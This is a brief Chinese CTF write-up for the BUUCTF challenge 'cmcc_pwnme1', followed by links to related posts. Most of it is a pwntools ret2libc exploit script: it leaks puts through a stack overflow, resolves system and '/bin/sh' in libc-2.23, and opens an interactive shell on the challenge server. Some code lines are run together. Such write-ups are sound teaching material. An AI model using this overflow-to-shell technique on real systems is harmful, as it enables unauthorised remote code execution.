cmcc_pwnme1

查看保护

直接ret2libc吧。

from pwn import *context(arch='i386', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj.cn', 27421)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']r.sendlineafter('>> 6. Exit    ', '5')
p1 = b'a' * (0xa4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p1)puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, b'\x00'))
success('puts_addr = ' + hex(puts_addr))libc = ELF('libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()r.sendlineafter('>> 6. Exit    ', '5')
p2 = b'a' * (0xa4 + 4) + p32(system_addr) +  p32(0) + p32(bin_sh)
r.sendline(p2)r.interactive()

cmcc_pwnme1相关推荐

[BUUCTF-pwn]——cmcc_pwnme1
[BUUCTF-pwn]--cmcc_pwnme1 题目地址:https://buuoj.cn/challenges#cmcc_pwnme1 先checksec一下,什么保护都没有开,嘶在IDA中 ...
PWN-PRACTICE-BUUCTF-24
PWN-PRACTICE-BUUCTF-24 cmcc_pwnme1 wdb2018_guess oneshot_tjctf_2016 gyctf_2020_force cmcc_pwnme1 栈溢出 ...
持续更新 BUUCTF——PWN（二）
文章目录前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

cmcc_pwnme1

cmcc_pwnme1

cmcc_pwnme1相关推荐

最新文章

热门文章